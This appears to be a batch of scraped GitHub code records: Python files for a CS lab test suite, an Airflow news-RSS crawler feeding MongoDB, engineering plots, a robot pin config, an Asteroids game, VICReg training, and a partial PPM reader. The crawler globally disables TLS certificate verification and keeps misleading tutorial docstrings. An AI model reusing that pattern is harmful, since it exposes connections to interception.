assert(isPerfectSquare(17) == False)\n assert(isPerfectSquare(-16) == False)\n assert(isPerfectSquare(1234**2+1) == False)\n assert(isPerfectSquare(1234**2-1) == False)\n assert(isPerfectSquare(4.0000001) == False)\n assert(isPerfectSquare('Do not crash here!') == False)\n print('Passed.')\n\ndef testGetKthDigit():\n print('Testing getKthDigit()... ', end='')\n assert(getKthDigit(809, 0) == 9)\n assert(getKthDigit(809, 1) == 0)\n assert(getKthDigit(809, 2) == 8)\n assert(getKthDigit(809, 3) == 0)\n assert(getKthDigit(0, 100) == 0)\n assert(getKthDigit(-809, 0) == 9)\n print('Passed.')\n\ndef testSetKthDigit():\n print('Testing setKthDigit()... ', end='')\n assert(setKthDigit(809, 0, 7) == 807)\n assert(setKthDigit(809, 1, 7) == 879)\n assert(setKthDigit(809, 2, 7) == 709)\n assert(setKthDigit(809, 3, 7) == 7809)\n assert(setKthDigit(0, 4, 7) == 70000)\n assert(setKthDigit(-809, 0, 7) == -807)\n print('Passed.')\n\ndef testColorBlender():\n print('Testing colorBlender()... ', end='')\n # http://meyerweb.com/eric/tools/color-blend/#DC143C:BDFCC9:3:rgbd\n assert(colorBlender(220020060, 189252201, 3, -1) == None)\n assert(colorBlender(220020060, 189252201, 3, 0) == 220020060)\n assert(colorBlender(220020060, 189252201, 3, 1) == 212078095)\n assert(colorBlender(220020060, 189252201, 3, 2) == 205136131)\n assert(colorBlender(220020060, 189252201, 3, 3) == 197194166)\n assert(colorBlender(220020060, 189252201, 3, 4) == 189252201)\n assert(colorBlender(220020060, 189252201, 3, 5) == None)\n # http://meyerweb.com/eric/tools/color-blend/#0100FF:FF0280:2:rgbd\n assert(colorBlender(1000255, 255002128, 2, -1) == None)\n assert(colorBlender(1000255, 255002128, 2, 0) == 1000255)\n assert(colorBlender(1000255, 255002128, 2, 1) == 86001213)\n assert(colorBlender(1000255, 255002128, 2, 2) == 170001170)\n assert(colorBlender(1000255, 255002128, 2, 3) == 255002128)\n print('Passed.')\n\n#################################################\n# Lab1 Main\n################################################\n\ndef testAll():\n testNearestOdd()\n testRectanglesOverlap()\n testIsPerfectSquare()\n testGetKthDigit()\n testSetKthDigit()\n testColorBlender()\n\ndef main():\n bannedTokens = (\n #'False,None,True,and,assert,def,elif,else,' +\n #'from,if,import,not,or,return,' +\n 'as,break,class,continue,del,except,finally,for,' +\n 'global,in,is,lambda,nonlocal,pass,raise,repr,' +\n 'try,while,with,yield,' +\n #'abs,all,any,bool,chr,complex,divmod,float,' +\n #'int,isinstance,max,min,pow,print,round,sum,' +\n '__import__,ascii,bin,bytearray,bytes,callable,' +\n 'classmethod,compile,delattr,dict,dir,enumerate,' +\n 'eval,exec,filter,format,frozenset,getattr,globals,' +\n 'hasattr,hash,help,hex,id,input,issubclass,iter,' +\n 'len,list,locals,map,memoryview,next,object,oct,' +\n 'open,ord,property,range,repr,reversed,set,' +\n 'setattr,slice,sorted,staticmethod,str,super,tuple,' +\n 'type,vars,zip,importlib,imp,string,[,],{,}')\n cs112_f17_linter.lint(bannedTokens=bannedTokens) # check style rules\n testAll()\n\nif __name__ == '__main__':\n main()\n","repo_name":"Anisha7/Python-Algorithms","sub_path":"lesson1/lab/lab.py","file_name":"lab.py","file_ext":"py","file_size_in_byte":7382,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"35482247533","text":"\n\n# pylint: disable=missing-function-docstring\n\n# [START tutorial]\n# [START import_module]\nimport json\nimport feedparser\nfrom datetime import datetime\nfrom datetime import timedelta\nimport time\nimport re\nimport ssl\nfrom urllib import parse\nfrom airflow.decorators import dag, task\nfrom airflow.utils.dates import days_ago\nfrom pymongo import MongoClient\nfrom airflow.models.connection import Connection\n\n# [END import_module]\n\n# [START default_args]\n# These args will get passed on to each operator\n# You can override them on a per-task basis during operator initialization\ndefault_args = {\n 'owner': 'airflow',\n 'values': {'name': 'Michael Foord',\n 'location': 'Northampton',\n 'language': 'Python' },\n 'data': parse.urlencode({'name': 'Michael Foord', 'location': 'Northampton',\n 'language': 'Python'}).encode('ascii'),\n 'headers': {'User-Agent': 'Mozilla/5.0'}\n\n}\n# [END default_args]\n\n\n# [START instantiate_dag]\n@dag(default_args=default_args, schedule_interval='@hourly', start_date=days_ago(2), tags=['RJK','NEWS','NEWSIS','RSS'])\ndef SC_NEWS_NEWSIS_20210427():\n \"\"\"\n ### TaskFlow API Tutorial Documentation\n This is a simple ETL data pipeline example which demonstrates the use of\n the TaskFlow API using three simple tasks for Extract, Transform, and Load.\n Documentation that goes along with the Airflow TaskFlow API tutorial is\n located\n [here](https://airflow.apache.org/docs/stable/tutorial_taskflow_api.html)\n \"\"\"\n # [END instantiate_dag]\n\n # [START extract]\n @task()\n def extract():\n \"\"\"\n #### Extract task\n A simple Extract task to get data ready for the rest of the data\n pipeline. In this case, getting data is simulated by reading from a\n hardcoded JSON string.\n \"\"\"\n\n url_dict = {'속보': 'https://newsis.com/RSS/sokbo.xml',\n '전국': 'https://newsis.com/RSS/country.xml',\n '정치': 'https://newsis.com/RSS/politics.xml',\n '경제': 'https://newsis.com/RSS/economy.xml',\n '사회': 'https://newsis.com/RSS/society.xml',\n '광장': 'https://newsis.com/RSS/square.xml',\n '세계': 'https://newsis.com/RSS/international.xml',\n '산업': 'https://newsis.com/RSS/industry.xml',\n '스포츠': 'https://newsis.com/RSS/sports.xml',\n '문화': 'https://newsis.com/RSS/culture.xml',\n '연예': 'https://newsis.com/RSS/entertain.xml',\n '포토': 'https://newsis.com/RSS/photo.xml',\n '위클리뉴시스': 'https://newsis.com/RSS/newsiseyes.xml'}\n\n emailReg = re.compile('[a-zA-Z0-9_-]+@[a-z]+.[a-z]+')\n bodyReg = re.compile('(<p)[\\S\\s]+(p>)')\n order_data_dict = {}\n ct = 0\n for i in url_dict.items():\n if hasattr(ssl, '_create_unverified_context'):\n ssl._create_default_https_context = ssl._create_unverified_context\n d = feedparser.parse(i[1])\n for p in d.entries:\n temp_dict = {}\n temp_dict['title'] = p.title.replace('\\\"', '').replace('"', '').replace('<br />', '').replace(\n ''', ' ').replace('\\\"', '').replace(\"\\'\", '').replace(';', '').replace('&', '&').strip()\n temp_dict['company'] = '뉴시스'\n temp_dict['reporter'] = p.author.replace('기자', '').strip()\n\n is_email = emailReg.findall(p.summary.replace('(', '').replace(')', ''))\n if is_email:\n temp_dict['reporter_mail'] = is_email[-1]\n else:\n temp_dict['reporter_mail'] = ''\n temp_dict['portal'] = 'newsis'\n temp_dict['category'] = i[0]\n temp_dict['url'] = p.link\n temp_dict['date'] = time.mktime(\n datetime.strptime(p.published.split('+')[0].strip(), '%a, %d %b %Y %H:%M:%S').timetuple())\n temp_dict['body'] = bodyReg.sub('', p.summary).replace('\\n', '').replace(''', ' ').replace('"',\n '').replace(\n '<br />', '').replace('\\\"', '').replace(\"\\'\", '').replace(';', '').replace('&', '&').strip()\n\n order_data_dict[p.link] = temp_dict\n ct+= 1\n return order_data_dict\n # [END extract]\n\n # [START transform]\n @task()\n def transform(order_data_dict: dict):\n \"\"\"\n #### Transform task\n A simple Transform task which takes in the collection of order data and\n computes the total order value.\n \"\"\"\n\n print(\"Total number of news:\", len(order_data_dict))\n\n return order_data_dict\n\n # [END transform]\n\n # [START load]\n @task()\n def load(order_data_dict: dict):\n \"\"\"\n #### Load task\n A simple Load task which takes in the result of the Transform task and\n instead of saving it to end user review, just prints it out.\n \"\"\"\n db_connections = Connection.get_connection_from_secrets(conn_id=\"crawling_poc\")\n\n connection = 'mongodb' + Connection.get_uri(db_connections)[5:]\n\n mongo_conn = MongoClient(connection)\n\n # schema name\n my_database = mongo_conn['news']\n\n # table name\n my_collections = my_database['newsis']\n\n for i in order_data_dict.items():\n # i[0] 은 url\n query = {\"_id\": i[0]}\n # i[1] 은 한개의 뉴스기사\n values = i[1]\n temp_time = i[1]['date']\n temp_time = datetime.fromtimestamp(temp_time)\n values['date'] = temp_time\n # 중복입력시 에러발생하기 때문에 try문으로 insert\n try:\n my_collections.insert_one(dict(query, **values))\n except Exception as e:\n print(e)\n pass\n\n # [END load]\n\n # [START main_flow]\n order_data = extract()\n order_summary = transform(order_data)\n load(order_summary)\n # [END main_flow]\n\n\n# [START dag_invocation]\nSC_NEWS_NEWSIS = SC_NEWS_NEWSIS_20210427()\n# [END dag_invocation]\n\n# [END tutorial]\n\n","repo_name":"inkkim/airflow-on-k8s","sub_path":"test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":6371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20738099351","text":"#!/usr/bin/env python3\n\nimport matplotlib.pyplot as plt\nfrom matplotlib import rcParams\nimport numpy as np\nimport pandas as pd\nfrom sympy import *\nimport tools\n\ndef moment_quadra(d):\n result = ((np.pi * d ** 4) / 64)\n return result\n\n\ndef pos_x(llimite):\n if llimite>9:\n posX=0\n else:\n posX=llimite+1\n return posX\n\n\ndef graphsimple(mode, _result, _pointinflex, _lfraise, _lbarre, _name_file,_matiere_name):\n rcParams['font.family'] = 'sans-serif'\n rcParams['font.sans-serif'] = ['DejaVu Sans']\n fig, ax = plt.subplots(figsize=mode)\n # plt.subplots_adjust(left=0.1, bottom=0.12, right=0.97, top=0.88, wspace=0, hspace=0)\n\n colorbarre='tab:orange'\n colorfraise = 'tab:blue'\n\n ax.plot(_result[0][0], _result[0][1], label=\"Longueur fraise {} mm.\\nDistance canon {} mm.\".format(_lfraise[0], _lbarre[0]), color=colorbarre)\n ax.plot(_result[1][0], _result[1][1], label=\"Longueur fraise {} mm.\\nDistance canon {} mm.\".format(_lfraise[1], _lbarre[1]), color=colorfraise)\n plt.xlim(0.1, 7+0.1) # adjust the top leaving bottom unchanged\n plt.ylim(0e5, 2.9e7)\n ax.set(xlabel=\"Diamètre barre (mm)\", ylabel='Rigidité (N/m)', title='Rigidité fraise vs barre {}'.format(_matiere_name))\n plt.ticklabel_format(style='sci', axis='y', scilimits=(0, 0))\n plt.grid()\n\n bbox = tools.boite\n arrowprops90 = dict(\n arrowstyle=\"->\",\n connectionstyle=\"angle,angleA=0,angleB=90,rad=10\")\n arrowprops45 = dict(\n arrowstyle=\"->\",\n connectionstyle=\"angle,angleA=0,angleB=-60,rad=1\")\n\n xbas = max(_result[0][0])\n ybas = max(_result[0][1])\n\n offset = 7\n ax.annotate('point changement :\\n%.1f mm; %.1e N/m' % (xbas, ybas),\n (xbas, ybas), xytext=(-9 * offset, 8*offset), textcoords='offset points',\n bbox=bbox, arrowprops=arrowprops90)\n\n xhaut =_pointinflex[0][0]\n yhaut =_pointinflex[1][0]\n offset = 3\n ax.annotate('point changement :\\n%.1f mm; %.1e N/m' % (xhaut, yhaut),\n (xhaut, yhaut), xytext=(6*offset, -20*offset), textcoords='offset points',\n bbox=bbox, arrowprops=arrowprops45)\n\n #Point intersection\n # ax.plot(llimitefraise, klimit, \"or\", color=colorfraise)\n # ax.plot(llimitebarre, klimit, \"or\", color=colorbarre)\n\n # Draw a default vline at x=... that spans the yrange\n # color = 'tab:red'\n # plt.axhline(y=klimit, color=color)\n # ax.annotate('Limite longueur fraise {} mm.'\n # .format(round(llimitefraise, 2)), (2, klimit*1.2), textcoords='data', color=colorfraise)\n # ax.annotate('Limite longueur barre {} mm.'\n # .format(round(llimitebarre, 2)), (2, klimit * 1.4), textcoords='data', color=colorbarre)\n\n plt.legend(loc='best')\n if SAVE==True:\n tools.save_auto(_name_file)\n # plt.show()\n plt.close()\n else:\n plt.show()\n\ndef graphcumuler(mode, _result1, _result2, _result3, _matiere_name):\n tools.GRAPH_LATEX\n fig, ax = plt.subplots(figsize=mode)\n # plt.subplots_adjust(left=0.1, bottom=0.12, right=0.97, top=0.88, wspace=0, hspace=0)\n\n colordentiste='tab:green'\n colormeyratmhf = 'tab:blue'\n colormeyratangle = 'tab:red'\n\n ax.plot(_result2[0][0], _result2[0][1],label=\"Broche dentaire\", color=colordentiste)\n ax.plot(_result2[1][0], _result2[1][1], color=colordentiste)\n\n\n ax.plot(_result3[0][0], _result3[0][1], label=\"Broche Meyrat MHF 20\", color=colormeyratmhf)\n ax.plot(_result3[1][0], _result3[1][1], color=colormeyratmhf)\n\n ax.plot(_result1[0][0], _result1[0][1], label=\"Broche Meyrat renvoi angle\", color=colormeyratangle)\n ax.plot(_result1[1][0], _result1[1][1], color=colormeyratangle)\n\n\n plt.xlim(0.1, 7+0.1) # adjust the top leaving bottom unchanged\n plt.ylim(0e5, 2.9e7)\n ax.set(xlabel=\"Diamètre barre (mm)\", ylabel='Rigidité (N/m)', title='Comparaison diverses broches {}'.format(_matiere_name))\n plt.ticklabel_format(style='sci', axis='y', scilimits=(0, 0))\n plt.grid()\n\n plt.legend(loc='best')\n if SAVE==True:\n tools.save_auto(name_file_cumuler)\n # plt.show()\n plt.close()\n else:\n plt.show()\n\n\ndef compute_trucmuch(_lbarre, _lfraise, _Ebarre, _Efraise = tools.MATIERE[\"md\"][\"E\"]):\n\n dbarre = np.arange(0.2, 7 + 0.001, 0.001) # diamètre barre en mm\n dfraise = np.full(len(dbarre), 2) # diamètre outil en mm\n # Equations\n Ifraise = moment_quadra(dfraise)\n Ibarre = moment_quadra(dbarre)\n\n kbarre = []\n kfraise = []\n for i in range(len(_lbarre)):\n kbarre.append(((3 * _Ebarre * Ibarre) / (_lbarre[i] ** 3)) * 1000)\n kfraise.append(((3 * _Efraise * Ifraise) / (_lfraise[i] ** 3)) * 1000)\n k_min = np.minimum(kbarre, kfraise)\n\n result = [[], []], [[], []]\n for ix, d in enumerate(dbarre):\n if k_min[0][ix] >= k_min[1][ix]:\n result[0][0].append(d)\n result[0][1].append(k_min[0][ix])\n else:\n result[1][0].append(d)\n result[1][1].append(k_min[1][ix])\n\n resultx = result[1][0]\n resulty = result[1][1]\n dy = np.gradient(resulty)\n ptinflex = np.where(dy == dy.max())\n _pointinflex = [resultx[ptinflex[0][0]]], [resulty[ptinflex[0][0]]]\n\n return result, _pointinflex\n\n\nif __name__== '__main__':\n\n # Variables\n\n #meyrat angle\n lbarre1 = [0.3, 5.7] #longueur sortie fraise en mm\n lfraise1 = [16.5, 4.9] #longueur sortie fraise n état en mm\n\n #dentiste\n lbarre2 = [0.3, 4.2] #longueur sortie fraise en mm\n lfraise2 = [10.3, 3.8] #longueur sortie fraise n état en mm\n\n #meyrat MHF 20\n lbarre3 = [0.3, 5.2] #longueur sortie fraise en mm\n lfraise3 = [10.3, 3.8] #longueur sortie fraise n état en mm\n\n keys = set(tools.MATIERE.keys())\n excludes = set([\"md\"])\n\n for key in keys.difference(excludes):\n result1, pointinflex1 = compute_trucmuch(lbarre1, lfraise1, tools.MATIERE[key][\"E\"])\n result2, pointinflex2 = compute_trucmuch(lbarre2, lfraise2, tools.MATIERE[key][\"E\"])\n result3, pointinflex3 = compute_trucmuch(lbarre3, lfraise3, tools.MATIERE[key][\"E\"])\n\n SAVE = False\n name_file1 = 'broche_meyrat_angle_barre_{}'.format(key)\n name_file2 = 'broche_dentiste_barre_{}'.format(key)\n name_file3 = 'broche_meyrat_barre_{}'.format(key)\n name_file_cumuler = 'broches_cumuler_{}'.format(key)\n # Graphique\n\n graphsimple(tools.PORTRAIT, result1, pointinflex1, lfraise1, lbarre1, name_file1, key)\n graphsimple(tools.PORTRAIT, result2, pointinflex2, lfraise2, lbarre2, name_file2, key)\n graphsimple(tools.PORTRAIT, result3, pointinflex3, lfraise3, lbarre3, name_file3, key)\n\n graphcumuler(tools.PORTRAIT, result1, result2, result3, key)\n\n\n #Tableau\n print(\"coco\")","repo_name":"alexandreneukomm/testAlex","sub_path":"evaluation_rigidite_fraise_barre.py","file_name":"evaluation_rigidite_fraise_barre.py","file_ext":"py","file_size_in_byte":6767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1825596994","text":"\"\"\"\nQuickBot wiring config.\n\nSpecifies which pins are used for motor control, IR sensors and wheel encoders.\n\"\"\"\n\n# Motor pins: (dir1_pin, dir2_pin, pwd_pin)\nRIGHT_MOTOR_PINS = 'P8_12', 'P8_10', 'P9_14'\nLEFT_MOTOR_PINS = 'P8_14', 'P8_16', 'P9_16'\n\n# IR sensors (clock-wise, starting with the rear left sensor):\n# rear-left, front-left, front, front-right, rear-right\nIR_PINS = ('P9_38', 'P9_40', 'P9_36', 'P9_35', 'P9_33')\n\n# Wheel encoder sensors: (left, right)\nENC_PINS = ('P9_39', 'P9_37')\n\n\n\n\n","repo_name":"pgmmpk/qb_test","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"73535182913","text":"\"\"\"\r\n Copyright (c) 2010 Daniel Lo\r\n\r\n Permission is hereby granted, free of charge, to any person\r\n obtaining a copy of this software and associated documentation\r\n files (the \"Software\"), to deal in the Software without\r\n restriction, including without limitation the rights to use,\r\n copy, modify, merge, publish, distribute, sublicense, and/or sell\r\n copies of the Software, and to permit persons to whom the\r\n Software is furnished to do so, subject to the following\r\n conditions:\r\n\r\n The above copyright notice and this permission notice shall be\r\n included in all copies or substantial portions of the Software.\r\n\r\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\r\n EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\r\n OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\r\n NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\r\n HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\r\n WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\r\n FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\r\n OTHER DEALINGS IN THE SOFTWARE.\r\n\"\"\"\r\n\r\n\"\"\"\r\nSnake game\r\n\r\nArrow keys to move.\r\n'r' to reset the game.\r\nEscape to exit.\r\n\r\nAuthor: Daniel Lo\r\n\"\"\"\r\n\r\nimport sys, pygame, random, time, math\r\n\r\nclass Ship:\r\n \"\"\"\r\n Object for spaceship\r\n \"\"\"\r\n \r\n # Maximum (absolute) velocity\r\n MAX_VEL = 3\r\n \r\n def __init__(self):\r\n \"\"\"\r\n Default constructor. All attributes set to 0.\r\n \"\"\"\r\n self.pos = [0, 0] # Position\r\n self.vel = [0, 0] # Velocity\r\n self.acc = [0, 0] # Acceleration\r\n # Begins facing towards top of screen\r\n self.heading = math.pi # Heading in radians\r\n # Default screen size causes no wrapping\r\n self.screen = [0, 0]\r\n \r\n def __init__(self, pos):\r\n \"\"\"\r\n Constructor with position set.\r\n \"\"\"\r\n self.pos = pos\r\n self.vel = [0, 0]\r\n self.acc = [0, 0]\r\n self.heading = math.pi\r\n self.screen = [0, 0]\r\n \r\n def get_position_int(self):\r\n x = int(self.pos[0])\r\n y = int(self.pos[1])\r\n return [x, y]\r\n\r\n def rotate(self, coord):\r\n \"\"\"\r\n Returns [x,y] rotated by the heading\r\n \"\"\"\r\n [x, y] = coord\r\n xrot = x*math.cos(self.heading) - y*math.sin(self.heading)\r\n yrot = x*math.sin(self.heading) + y*math.cos(self.heading)\r\n return [xrot, yrot]\r\n \r\n def ship_outline(self):\r\n # Ship at origin\r\n vertices = [[0, 10], [-5, -5], [5, -5]]\r\n [x, y] = self.get_position_int()\r\n # Rotate at origin\r\n for i in range(len(vertices)):\r\n vertices[i] = self.rotate(vertices[i])\r\n # translate\r\n for i in range(len(vertices)):\r\n vertices[i] = [vertices[i][0] + x, vertices[i][1] + y]\r\n return vertices\r\n \r\n def accelerate(self, acc):\r\n acc_rot = self.rotate([0, acc])\r\n self.acc[0] += acc_rot[0]\r\n self.acc[1] += acc_rot[1]\r\n \r\n def set_position(self, pos):\r\n self.pos = pos\r\n \r\n def set_velocity(self, vel):\r\n self.vel = vel\r\n \r\n def set_acceleration(self, acc):\r\n self.acc = acc\r\n \r\n def set_screen(self, size):\r\n \"\"\"\r\n Set screen size of game so ship position wraps.\r\n \"\"\"\r\n self.screen = size\r\n \r\n def update(self):\r\n \"\"\"\r\n Updates position and velocity.\r\n \"\"\"\r\n t = 1 # time step\r\n # Calculate new position\r\n pos_x = self.pos[0] + self.vel[0]*t + self.acc[0]*t*t\r\n pos_y = self.pos[1] + self.vel[1]*t + self.acc[1]*t*t\r\n if self.screen[0]:\r\n pos_x = pos_x % self.screen[0]\r\n if self.screen[1]:\r\n pos_y = pos_y % self.screen[1]\r\n # Bound velocities by -MAX_VEL and MAX_VEL\r\n vel_x = max(min(self.vel[0] + self.acc[0]*t, self.MAX_VEL), -self.MAX_VEL)\r\n vel_y = max(min(self.vel[1] + self.acc[1]*t, self.MAX_VEL), -self.MAX_VEL)\r\n # Don't update position and velocity until end so all values used in\r\n # calculations are previous values\r\n self.pos = [pos_x, pos_y]\r\n self.vel = [vel_x, vel_y]\r\n \r\nclass Bullet:\r\n \"\"\"\r\n Class for bullets that the ship shoots\r\n \"\"\"\r\n \r\n VELOCITY = 5\r\n \r\n def __init__(self):\r\n # Initial position\r\n self.pos = [0, 0]\r\n # Velocity of bullet\r\n self.velocity = [0, 0]\r\n # Age of bullet, bullets eventually \"die\"\r\n self.age = 0\r\n # Screen size for wrapping, if 0, 0 then no wrap\r\n self.screen = [0, 0]\r\n \r\n def __init__(self, pos, heading, screen):\r\n self.pos = pos\r\n self.heading = heading\r\n # Calculate velocity from heading\r\n self.vel = [0, 0]\r\n self.vel[0] = -self.VELOCITY*math.sin(heading)\r\n self.vel[1] = self.VELOCITY*math.cos(heading)\r\n self.age = 0\r\n self.screen = screen\r\n \r\n def get_position_int(self):\r\n x = int(self.pos[0])\r\n y = int(self.pos[1])\r\n return [x, y]\r\n \r\n def update(self):\r\n \"\"\"\r\n Update bullet position\r\n \"\"\"\r\n t = 1 # time step\r\n posx = self.pos[0] + t*self.vel[0]\r\n posy = self.pos[1] + t*self.vel[1]\r\n # Wrap around screen\r\n if self.screen[0]:\r\n posx %= self.screen[0]\r\n if self.screen[1]:\r\n posy %= self.screen[1]\r\n self.pos = [posx, posy]\r\n self.age += 1\r\n \r\nclass Asteroid:\r\n \"\"\"\r\n Class for asteroid object\r\n \"\"\"\r\n \r\n def __init__(self):\r\n # Position\r\n self.pos = [0, 0]\r\n \r\n def __init__(self, pos):\r\n self.pos = pos\r\n \r\n def get_position_int(self):\r\n return [int(self.pos[0]), int(self.pos[1])]\r\n\r\n# Initialize pygame screen \r\npygame.init()\r\nsize = width, height = 500, 500\r\nscreen = pygame.display.set_mode(size)\r\n\r\n# colors\r\nblack = 0, 0, 0\r\nwhite = 255,255,255\r\nred = 255, 0, 0\r\ngreen = 0, 255, 0\r\nblue = 0, 0, 255\r\ndark_green = 34, 177, 76\r\n\r\n# Create a ship\r\ns = Ship([width/2, height/2])\r\ns.set_screen(size)\r\n# Initial empty bullet list\r\nbullets = []\r\n# Asteroids list\r\nasteroids = []\r\n# Create an asteroid\r\nfor i in range(10):\r\n asteroids.append(Asteroid([random.randint(30, 469), random.randint(30, 469)]))\r\n\r\nwhile 1:\r\n for event in pygame.event.get():\r\n if event.type == pygame.KEYDOWN:\r\n # Shoot bullet\r\n if event.key == pygame.K_SPACE:\r\n bullets.append(Bullet(s.pos, s.heading, size))\r\n # Reset game\r\n elif event.key == pygame.K_r:\r\n #sgame.reset()\r\n pass\r\n # Quit game\r\n elif event.key == pygame.K_ESCAPE:\r\n sys.exit() \r\n else:\r\n s.acc = [0, 0]\r\n if event.type == pygame.QUIT: sys.exit()\r\n \r\n # Get keys pressed down\r\n keys = pygame.key.get_pressed()\r\n # Parameters to set rate of acceleration and rotation\r\n UNIT_ACCEL = .01\r\n UNIT_ROTATE = 5 # degrees\r\n # Accelerate forward when UP is pressed\r\n if keys[pygame.K_UP]:\r\n s.accelerate(UNIT_ACCEL)\r\n # Rotate CCW when LEFT is pressed\r\n if keys[pygame.K_LEFT]:\r\n s.heading -= (UNIT_ROTATE*math.pi/180)\r\n s.heading %= 2*math.pi\r\n # Rotate CW when RIGHT is pressed\r\n if keys[pygame.K_RIGHT]:\r\n s.heading += (UNIT_ROTATE*math.pi/180)\r\n s.heading %= 2*math.pi\r\n \r\n # Clear screen\r\n screen.fill(black)\r\n # Update and draw ship\r\n s.update()\r\n pygame.draw.polygon(screen, white, s.ship_outline())\r\n MAX_AGE = 50\r\n # Update and draw bullets\r\n for b in bullets:\r\n b.update()\r\n if b.age > MAX_AGE:\r\n bullets.remove(b)\r\n pygame.draw.circle(screen, white, b.get_position_int(), 3)\r\n # Handle each asteroid\r\n for a in asteroids:\r\n # Create rect for asteroid\r\n a_rect = pygame.Rect(0, 0, 0, 0)\r\n a_rect.center = a.get_position_int()\r\n a_rect.width = 30\r\n a_rect.height = 30\r\n hit = False\r\n # Check for collision with bullets\r\n for b in bullets:\r\n if a_rect.collidepoint(b.pos):\r\n hit = True\r\n asteroids.remove(a)\r\n bullets.remove(b)\r\n # Draw asteroids\r\n if not hit:\r\n pygame.draw.rect(screen, red, a_rect)\r\n \r\n pygame.display.flip() # Update displayed frame\r\n \r\n # Control game speed\r\n time.sleep(.01)\r\n","repo_name":"dlowashere/Projects","sub_path":"asteroids/asteroids.py","file_name":"asteroids.py","file_ext":"py","file_size_in_byte":7761,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"26515568375","text":"import torch\r\nfrom torch import nn\r\nimport torchvision\r\n\r\nfrom lightly.data import LightlyDataset\r\nfrom lightly.data.collate import VICRegCollateFunction\r\nfrom lightly.models.modules import BarlowTwinsProjectionHead\r\nfrom sklearn.datasets import load_iris\r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom lightly.loss import VICRegLoss\r\nfrom sklearn.metrics import f1_score\r\nfrom sklearn.metrics import accuracy_score\r\n\r\nclass VICReg(nn.Module):\r\n def __init__(self, backbone):\r\n super().__init__()\r\n self.backbone = backbone\r\n # не использовать при обучении\r\n self.projection_head = BarlowTwinsProjectionHead(512, 2048, 2048)\r\n\r\n def forward(self, x):\r\n x = self.backbone(x).flatten(start_dim=1)\r\n if self.training:\r\n out = self.projection_head(x)\r\n else:\r\n out = x\r\n return out\r\n\r\ndef Train():\r\n resnet = torch.hub.load('facebookresearch/vicreg:main', 'resnet50')\r\n backbone = nn.Sequential(*list(resnet.children())[:-1])\r\n model_pre = VICReg(backbone)\r\n\r\n device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\r\n model_pre.to(device)\r\n\r\n cifar10 = torchvision.datasets.CIFAR10(\"datasets/cifar10\", train=True, download=True)\r\n dataset = LightlyDataset.from_torch_dataset(cifar10)\r\n # or create a dataset from a folder containing images or videos:\r\n # dataset = LightlyDataset(\"path/to/folder\")\r\n\r\n collate_fn = VICRegCollateFunction(input_size=32)\r\n\r\n dataloader = torch.utils.data.DataLoader(\r\n dataset,\r\n batch_size=256,\r\n collate_fn=collate_fn,\r\n shuffle=True,\r\n drop_last=True,\r\n num_workers=8,\r\n )\r\n\r\n criterion = VICRegLoss()\r\n optimizer = torch.optim.SGD(model_pre.parameters(), lr=0.06)\r\n\r\n print(\"Starting Training\")\r\n model_pre.train()\r\n for epoch in range(10):\r\n total_loss = 0\r\n for (x0, x1), _, _ in dataloader:\r\n x0 = x0.to(device)\r\n x1 = x1.to(device)\r\n z0 = model_pre(x0)\r\n z1 = model_pre(x1)\r\n loss = criterion(z0, z1)\r\n total_loss += loss.detach()\r\n loss.backward()\r\n optimizer.step()\r\n optimizer.zero_grad()\r\n avg_loss = total_loss / len(dataloader)\r\n print(f\"epoch: {epoch:>02}, loss: {avg_loss:.5f}\") \r\n torch.save(model_pre.state_dict(), 'model_parameters') \r\n\r\n","repo_name":"intsystems/2023-Project-135","sub_path":"code/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23546709521","text":"def flip():\n global runner, debt, cnt, i, k\n\n assert i+k <= len(s)\n\n runner = (runner+1)%2\n debt[i+k] = (debt[i+k]+1)%2\n cnt += 1\n\ndef to_binary(s):\n m = {'+':1, '-':0}\n return m[s]\n\nwith open('in', 'r') as f:\n T = int(f.readline())\n testcases = [line[:-1].split(' ') for line in f.readlines()]\n\nt = 1\nfor s, k in testcases:\n k = int(k)\n s = list(map(to_binary, s))\n i = 0\n cnt = 0\n runner = 0\n debt = [0] * (len(s) + 1)\n\n while i < len(s):\n runner += debt[i]\n runner %= 2\n if (runner + s[i]) % 2 != 1:\n if (i + k > len(s)):\n print('Case #{}: IMPOSSIBLE'.format(t))\n break\n else:\n flip()\n i += 1\n else:\n print('Case #{}: {}'.format(t, cnt))\n t += 1\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_199/3531.py","file_name":"3531.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27548189367","text":"from api.ppm_types import rgb, Picture\nimport re\n\n'''\nFile Format:\n\n<File encoding> (P1 (BW), P2 (Greyscale), P3 (RGB))\n<Size> (Width, Height)\n<Accuracy> (1 - 255)\n<Content> ...\n'''\n\n'''\nReads whatever is at the specified path and returns a _types.picture object constructed by it\n'''\n\n\ndef read(path):\n with open(path, 'r') as f:\n content = [line.strip() for line in f.readlines()] # Strips newlines\n header = content[:3]\n content = content[3:]\n\n # Read Header\n p_encoding = header[0]\n p_width, p_height = [int(p) for p in header[1].split(' ')]\n p_range = int(header[2])\n\n # Possible invalid 